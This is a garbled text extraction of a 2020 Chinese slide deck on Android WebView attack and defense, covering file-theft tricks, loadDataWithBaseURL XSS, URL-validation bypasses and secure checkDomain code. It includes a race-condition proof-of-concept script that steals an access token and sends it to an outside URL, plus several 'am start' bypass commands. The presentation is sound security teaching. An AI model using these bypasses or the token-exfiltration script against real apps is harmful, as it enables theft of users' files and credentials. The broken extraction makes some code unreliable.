2020Android WebView安全攻防指南_第1页
2020Android WebView安全攻防指南_第2页
2020Android WebView安全攻防指南_第3页
2020Android WebView安全攻防指南_第4页
2020Android WebView安全攻防指南_第5页
已阅读5页,还剩31页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

AndroidWebView安全攻防指南2020⾃我介绍现⼯作于OPPO⼦午互联⺴安全实验室,heen@id:heeeeen(曾⽤:⼩荷才露尖尖⾓)AndroidSecurityTopResearcherGooglePlayGPSRP致谢演讲与⽂章CNCERT2016AndroidApp开放端⼝的安全POC2018:HackingAndroidVoIPforFunandProfitBundle⻛⽔——Android序列化与反序列化不匹配漏洞详解Android⺫录WebView攻击⾯WebView配置与使⽤WebViewURL校验WebView安全防御总结WebView攻击⾯APP

利用APP对不当配置和使用Intentdeeplink(间接通过浏览器)

loadDataWithBaseUrlloadDataevaluateJavascript特殊攻击面:端口、网络协议WebView安全攻防发展系统接口暴露

跨域配置不当 URL校验不当导致RCE 导致文件窃(应用克隆)

页、调用特权接口历史漏洞Android4.4之前,系统存在JavaScriptInterface接口,可被反射调用执行任意代码(RCE)CVE-2012-6636CVE-2014-1939案例:某地图appLAN环境命令执⾏http://<手机ip>:6677/androidamap?action=yyy¶m2=value2&...&url=<evil-site>窃取短信POCWebView的配置与使⽤setAllowFileAccess是否允许访问文件,默认为truesetAllowFileAccessFromFileURLs(宽松同源策略)是否允许file域下的js访问别的file域下的文件,APIlevel16及以后默认为setAllowUniversalAccessFromFileURLs(更加宽松的同源策略)是否允许file域下的js访问别的域,包括file://下的文件,APIlevel16及以后默认为任意⽂件窃取1(应⽤克隆)前提:setAllowFileAccess(true)setAllowFileAccessFromFileURLs(true)||setAllowUniversalAccessFromFileURLs(true)操纵加载也有可能操纵用户点击后无感知下载)下的恶意HTML/JS,通过AJAX窃取xmlHttpRequest.open(“GET”,“file:///data/data/<package>/private_file",false);任意⽂件窃取1(移花接⽊)只有setAllowFileAccess为True(默认设置)呢?攻击App 受害App1.1.操纵WebViewPrivateDB4.软链接attack.htm2.访问WebView3.延时读取自身/p/chromium/issues/detail?id=144866任意⽂件窃取3(含沙射影)仍然只有setAllowFileAccess为true攻击App 受害

恶意网址1.操纵WebView

payload

设置

document.cookieattack.htm=“x=payload”attack.htm软链接5.访问再次操纵

Cookiesx=payload

访问效果Cookies被污染控制WebView访问攻击者共享的symlink.html危险的loadDataWithBaseURL域名和内容同时可控,则可构造任意域下的XSS1publicvoidloadDataWithBaseURL(StringbaseUrl,2Stringdata,3StringmimeType,4Stringencoding,5StringhistoryUrl)案例:GooglePlay某流⾏App⼀系列deeplink导致WebView加载任意urlvictim-app://c/receipt?url={url},原本用于调用GoogleDoc服务预览pdfVictimAppWebViewGoogleDoc服务VictimApp文档服务器VictimAppWebViewGoogleDoc服务VictimApp文档服务器案例:GooglePlay某流⾏Appdeeplink加载任意fragment,转化为WebViewloadDataWithBaseURL漏洞利⽤victim-app://c/contact/2?fragmen_class=<fragment>可启动任意fragment,并可通过IntentExtra传参寻找到⼀个带WebView的Fragment:GoogleMapWebViewFragment可污染loadDataWithBaseURL的前两个参数,构造域下的XSSwebview.loadDataWithBaseURL("","google-map.html","text/html",...);<scriptsrc="MAPURL?v=3.exp&sensor=false&language=LANGTOKEN®ion=REGIONTOKEN"></script>安全建议基本配置setAllowFileAccess(false)setAllowFileAccessFromFileURLs(false)setAllowUniveralAccessFromFileURLs(false)setAllowContentAccess(false)加载确定的HTML,可使⽤asset⺫录WebSettingswebSettingsWebSettingswebSettings=webView.getSettings();webSettings.setAllowFileAccess(false);webView.loadUrl("file:///android_asset/sample/index.html");防范⺫录穿越,对⽂件名进⾏过滤尽量不使⽤loadDataWithBaseUrlWebViewURL校验基本问题ifif(checkDomain(url)){enableJavaScriptInterface();//或者webView.load(url)3}⼀个简单案例ifif(url.startsWith("file://"){setJavaScriptEnbled(false);}else{5}有多种绕过⽅法:⼤写字⺟:“File://”前⾯加个空格:“ file://”字符编码:“file:%2F/”可正常访问的畸形路径:“file:sdcard/attack/html”或“file:/\//sdcard/attack.html”if(Uri.parse(url).getScheme().equalsIgnoreCase("file")) 常⻅url校验失效if(host.if(host.endsWith("")){enableJavascriptInterface()}绕过:修复:endsWith(“.”)使⽤startsWith、contains、indexOf、正则匹配等⾮严格字符串匹配if(host.startsWith(""))if(host.startsWith("")){3}Uri系统漏洞绕过:CVE-2017-13274“\”绕过uriString="\\@";Stringhost=Uri.parse(uriString).getHost();Log.d("Wow",if(host.equals("")||host.endsWith(".")||host.startsWith("")){6}正确:WebView.loadUrl正确加载,将“\”识别为”/”/@ww

通过host校验1105511055D:错误:Uri.parse未对”\”进⾏处理,未按照WhatWG规范将”\”识别为path的开始,将@后⾯的内容视为host⼀些案例某视频编辑app:url校验绕过(修复两次)amstart-n<package>/.HttpHookHandler-d“\\\@"某⾳乐appdeeplinkurl参数绕过amstart-aent.action.VIEW-d某聊天app:逻辑问题amstart–ent.action.VIEW-dvictim://tv@app将该字符替换为https://URLScheme绕过检查了host,但未检查scheme,可以通过“javascript:”绕过1uriString="javascript:///%0d%0awindow.location.href=\'\'";Stringhost=Uri.parse(uriString).getHost();Log.d("Wow",host);if(host.equals("")||host.endsWith(".")||host.startsWith("")){mVulWebViewUriBug.loadUrl(uriString);6}实际加载js代码

12window.location.href=''也可以通过file:///sdcard/evil.html绕过,某些版本WebView可正常解析为file:///sdcard/evil.html反射构造hearachicalUri绕过直接从外部取Uri,未经过Uri.parse11Uriuri=getIntent().getData();booleanisOurDomain="https".equals(uri.getScheme())&&uri.getUserInfo()==null&&"".equals(uri.getHost());if(isOurDomain){6}反射构造hearachicalUri绕过通过反射传⼊⼀个scheme、authoritiy和path,构造⼀个形式为@的HierachicalUri实例即可绕过authority pathObjectauthority=partConstructor.newInstance("","");Objectpath=pathPartConstructor.newInstance("@","@");uri=(Uri)hierarchicalUriConstructor.newInstance("https",authority,path,null,null);利⽤服务端跳转漏洞绕过⽩名单域名内的服务端出现跳转漏洞时,仍然可以通过检查,并调⽤javascriptInterface此时可以在shouldOverideUrlloading函数中拦截跳转,对跳转的url进⾏检查1publicbooleanshouldOverrideUrlLoading(WebViewview,WebResourceRequestrequest){2if(checkDomain(request.getUrl().toString())){returnfalse; //通过检查,允许跳转5 }6 returntrue//未通过检查,允许跳转7}利⽤竞争条件绕过URL校验jsCall的敏感函数中校验url,但使⽤跳转url设置publicvoidonPageStarted(WebViewview,Stringurl,Bitmapfavicon){34}

classjsCall{Stringm_curUrl;@JavascriptInterfacepublicStringgetToken(){if(checkDomain(m_curUrl)){returnaccess_token;}else{return9. }10. }11.publicvoidsetCurUrl(Stringurl){m_curUrl=url;14. }漏洞利⽤通过设置跳转,onPageStarted/shouldOverideUrlLoading被回调,此时mCurUrl已经被改写成⽩名单域名在当前⻚⾯的DOM还没被销毁的间隙(POC反复去尝试),test权接⼝

恶意JS位于11<script>2vartest=function(){vartoken=jscall.getToken();if(!token.includes('unde')){document.location.href="http://?token="+token;1414</script>};for(i=0;i<1000};for(i=0;i<1000;i++){setTimeout(test,50+i);}document.location.href="http://myswhitelist}789101112";//in13IntentScheme校验问题WebView也可能处理intentscheme,若校验不严,攻击者可构造Intent,形成IntentredirectionmVulWebViewIntentScheme.setWebViewClient(newWebViewClient(){@OverridepublicbooleanshouldOverrideUrlLoading(WebViewview,WebResourceRequestrequest){Uriuri=request.getUrl();Log.d("vulw",uri.toString());if(request.getUrl().getScheme().equals("intent")){try{Intentintent=Intent.parseUri(uri.toString(),Intent.URI_INTENT_SCHEME);startActivity(intent);安全的URL校验

接⼝级别的URL校验,建议采⽤JsBridgeCheckDomain的使⽤位置加载前跳转前在JavascriptInterface接⼝中在JS回调函数中

1.publicclassJsBridgeWebChromeClientextendsWebChromeClient{2.@Override publicfinalbooleanonJsPrompt(WebViewview,Stringurl,Stringmessage,StringdefaultValue,JsPromptResultresult){result.confirm();if(checkDomain(url))7. {JsCallJava.newInstance().call(view,message);returntrue;}else{returntrue;12. }13. }URL校验函数privatebooleancheckDomain(Stringurl)2.

1.Scheme检查,建议只允许https3. if(!url.startsWith("http://")&&!url.startsWith("https://"))//对scheme进行检查,建议只使用https协议通信,避免中间人攻击4. {5. returnfalse;6. }String[]whiteList=newString[]{".","."};.URIjava_url=null;try{

2.使用.URIjava_url=new.URI(url); //由于.Uri以及.Uri存在漏洞,推荐使用.URI对url字符串解析}catch(.URISyntaxExceptione){returnfalse;13. }

通过获取hostStringinputDomain=java_url.getHost();//提取host,如果需要校验Path可以通过java_url.getPath()获取Log.d(Secret.TAG, "inputDomain:"+inputDomain);for(StringwhiteDomain:whiteList)17. {whiteDomain=whiteDomain.startsWith(".")?whiteDomain:"."+whiteDomain;if(inputDomain.endsWith(whiteDomain))//对host进行检查,注意不要漏掉域名前面的点returntrue;21. }22. return false;23. }

使用endsWith含域名前面的点IntentScheme校验建议写法//解析IntentSchemeURLIntentintent=Intent.parseUri(uri,flags);//禁止打开没有BROWSABLE标签的Activity//禁止设置intent的组件intent.setC

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论